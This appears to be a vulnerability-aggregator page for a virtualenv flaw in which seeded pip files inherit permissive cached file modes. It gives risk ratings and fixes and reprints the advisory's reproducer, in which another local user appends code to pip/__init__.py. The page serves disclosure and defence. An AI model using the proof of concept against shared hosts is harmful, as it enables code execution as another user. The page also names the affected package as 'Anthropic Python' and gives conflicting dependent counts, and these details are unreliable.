CVE-2026-113720: virtualenv: cached file modes expose seeded envs to tampering

GHSA-fc2g-4w5p-6whmMEDIUM
Published October 23, 2026
CISO Take

virtualenv versions before 21.14.9 copy seeded pip files from the app-data cache with shutil.copy, which carries over the cached file modes and ignores the current umask. If the cache was first populated under a permissive umask such as 000, later environments can contain world-writable pip files, and another local account that can reach the environment path could append code that runs as the environment owner. The vendor rates it low and it is a local, precondition-heavy issue: the attacker cannot force the earlier umask, needs a traversable destination directory, and there is no public exploit and no KEV listing. EPSS is 0.00105, so the 'top 99%' percentile label looks inconsistent with that score and should be checked. Exposure is mainly on shared build hosts, CI runners and multi-user ML workstations, and virtualenv has about 6,390 dependents, so the number of affected environments could be large even though each is hard to exploit. Upgrade to virtualenv 21.14.9, create environments in owner-only directories, and recreate any environment built from a permissive cache. This does not warrant a breaking alert. Note that virtualenv is general Python tooling, not an AI-specific package, so the 'llm_api' category looks like a misclassification.

Sources:NVDGitHub AdvisoryEPSSvirtualenv GitHub repository (PR #3425, release 21.14.9)ATLAS

What is the risk?

Low overall. Exploitation needs local access, an environment path other accounts can traverse, and a cache that was populated under a permissive umask earlier. There is no remote vector, no public exploit, no KEV listing, and EPSS is very low (0.00105). Impact is integrity loss (code execution as the environment owner) in shared multi-user systems. Single-user laptops and containers with isolated home directories are essentially unaffected. The advisory does not establish the first affected version; the confirmed release is 21.14.8, and the range recorded is below 21.14.9.

How does the attack unfold?

Precondition
The owner's first virtualenv run under a permissive umask (000) fills the private app-data cache with mode-0666 pip files.
Environment creation
A later environment created under umask 022 receives the cached modes via shutil.copy, leaving files writable by others in a traversable path.
AML.T0010.001
Tampering
Another local account appends malicious code to the seeded pip/__init__.py.
Impact
The owner runs bin/pip and the injected code executes with the owner's privileges, compromising the environment and its secrets.
AML.T0050

What systems are affected?

PackageEcosystemVulnerable RangePatched
Anthropic Pythonpip< 21.14.921.14.9
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.1%
chance of exploitation in 30 days
Higher than 3% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What should I do?

1 step
  1. 1) Upgrade virtualenv to 21.14.9 or later (PR #3425), which creates destination files as 0644/0755 filtered by the current umask. 2) Create environments only beneath directories accessible to their owner (for example a 0700 home or project directory). 3) Recreate environments that were seeded from a cache built under a permissive umask. 4) Audit existing environments for world- or group-writable files, for example with 'find <env> -type f -perm /022'. 5) Review shared hosts and CI runners for umask 000 or 002 defaults, and clear or rebuild the virtualenv app-data cache (~/.cache/virtualenv) after upgrading. 6) Monitor for unexpected modifications to pip and site-packages files with file-integrity tooling.

What does CISA's SSVC say?

DecisionTrack
Exploitationnone
AutomatableNo
Technical Impactpartial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionSupply ChainFrameworkAML.T0010.001

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Respond to and manage risks from AI system components

Frequently Asked Questions

What is CVE-2026-113720?

virtualenv versions before 21.14.9 copy seeded pip files from the app-data cache with shutil.copy, which carries over the cached file modes and ignores the current umask. If the cache was first populated under a permissive umask such as 000, later environments can contain world-writable pip files, and another local account that can reach the environment path could append code that runs as the environment owner. The vendor rates it low and it is a local, precondition-heavy issue: the attacker cannot force the earlier umask, needs a traversable destination directory, and there is no public exploit and no KEV listing. EPSS is 0.00105, so the 'top 99%' percentile label looks inconsistent with that score and should be checked. Exposure is mainly on shared build hosts, CI runners and multi-user ML workstations, and virtualenv has about 6,390 dependents, so the number of affected environments could be large even though each is hard to exploit. Upgrade to virtualenv 21.14.9, create environments in owner-only directories, and recreate any environment built from a permissive cache. This does not warrant a breaking alert. Note that virtualenv is general Python tooling, not an AI-specific package, so the 'llm_api' category looks like a misclassification.

Is CVE-2026-113720 actively exploited?

No confirmed active exploitation of CVE-2026-113720 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-113720?

1) Upgrade virtualenv to 21.14.9 or later (PR #3425), which creates destination files as 0644/0755 filtered by the current umask. 2) Create environments only beneath directories accessible to their owner (for example a 0700 home or project directory). 3) Recreate environments that were seeded from a cache built under a permissive umask. 4) Audit existing environments for world- or group-writable files, for example with 'find <env> -type f -perm /022'. 5) Review shared hosts and CI runners for umask 000 or 002 defaults, and clear or rebuild the virtualenv app-data cache (~/.cache/virtualenv) after upgrading. 6) Monitor for unexpected modifications to pip and site-packages files with file-integrity tooling.

What systems are affected by CVE-2026-113720?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, shared notebook/dev servers, CI/CD build runners, model serving build environments.

What is the CVSS score for CVE-2026-113720?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

training pipelinesshared notebook/dev serversCI/CD build runnersmodel serving build environments

MITRE ATLAS Techniques

AML.T0010.001AI Software

Compliance Controls Affected

ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3

What are the technical details?

Original Advisory

## Summary The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments. Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Permissions of files copied from app-data into a new environment. ## Attacker-controlled input The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed. ## Affected code The relevant 21.14.8 source is in [copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with `shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can receive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts. ## Reproduction and evidence The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask `022`; a later environment had no files writable by another account, and that account could not append to `pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and `bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both histories. An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425) creates copied files under a fixed non-writable-by-others policy further restricted by the current umask. ## Attack sequence ```mermaid sequenceDiagram participant U as Environment owner participant C as Private app-data cache participant E as Later environment participant A as Other local account U->>C: first seed extraction under umask 000 C-->>U: cached pip files have mode 0666 U->>E: create environment under umask 022 C->>E: shutil.copy reapplies mode 0666 A->>E: append code to pip/__init__.py U->>E: run bin/pip --version E-->>U: appended code runs as owner ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import glob import os import shutil import stat import subprocess import sys from pathlib import Path sys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes os.umask(0o022) # for the directories made here as root OWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check # read here, as root: /tmp/repro.d need not be readable by the other user ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text() def run_as_owner(command, home, umask): environ = {"HOME": str(home), "PATH": os.environ["PATH"]} subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True) def mode(path): return stat.filemode(os.stat(path).st_mode) work = Path("/tmp/seed-mode-repro") shutil.rmtree(work, ignore_errors=True) work.mkdir() proofs = work / "proofs" proofs.mkdir() proofs.chmod(0o777) # the other user's line writes the uid it runs as in here writable_by_others, appended_line_ran_as = {}, {} # the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]: # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path home = work / f"{case}-home" home.mkdir(mode=0o700) os.chown(home, OWNER, OWNER) projects = work / f"{case}-projects" projects.mkdir(mode=0o755) os.chown(projects, OWNER, OWNER) # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run) # owner, today env = projects / "env" run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022) (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py") (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py") env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()] writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH) print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022") print(f"{case} cache pip/__init__.py {mode(cached_pip)}") print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}") print(f"{case} env bin/activate {mode(env / 'bin' / 'activate')}") print(f"{case} env pip/__init__.py {mode(seeded_pip)}") print(f"{case} env files writable by others: {writable_by_others[case]} of {len(env_files)}") # attack: another local user appends a line to the owner's seeded pip proof = proofs / case subprocess.run( ["python3", "-", str(env), str(proof)], input=ATTACK, text=True, user=OTHER_USER, group=OTHER_USER, extra_groups=[], env={"PATH": os.environ["PATH"]}, cwd="/", check=True, ) # the owner uses the environment run_as_owner([str(env / "bin" / "pip"), "--version"], home, umask=0o022) appended_line_ran_as[case] = proof.read_text() if proof.exists() else None print(f"{case} other user's line ran as uid: {appended_line_ran_as[case]}") # check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier control_is_private = writable_by_others["CONTROL"] == 0 and appended_line_ran_as["CONTROL"] is None observed_runs_as_owner = writable_by_others["OBSERVED"] > 0 and appended_line_ran_as["OBSERVED"] == str(OWNER) print("BUG" if control_is_private and observed_runs_as_owner else "OK") ``` **`repro.d/other_user_appends_to_pip.py`** ```text import glob import sys environment, proof = sys.argv[1:] (pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py") added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n" try: with open(pip_init, "a") as pip_source: pip_source.write(added_line) print(f"other user: appended a line to {pip_init}") except PermissionError as error: print(f"other user: {error}") ``` ## Impact Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache. Severity: low. ## Versions tested The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9. The fix creates destination files with mode `0644`, or `0755` for executable sources, filtered further by the current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not preserved, including modes more restrictive than this creation policy. Fix: [PR #3425](https://github.com/pypa/virtualenv/pull/3425). ## Known mitigation Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

Exploitation Scenario

On a shared ML build server, a data scientist's first virtualenv run happens under umask 000, so the cached pip files get mode 0666. Later they create a training environment under umask 022 in a project directory that other users can traverse. The environment's pip files inherit the permissive modes. A malicious or compromised local account appends code to pip/__init__.py. The next time the data scientist runs bin/pip, the injected code executes with their privileges and can read credentials, datasets or model weights, or tamper with the training pipeline.

Weaknesses (CWE)

CWE-732 — Incorrect Permission Assignment for Critical Resource: The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

  • [Implementation] When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.
  • [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Source: MITRE CWE corpus.

Timeline

Published
October 23, 2026
Last Modified
October 23, 2026
First Seen
October 24, 2026

Related Vulnerabilities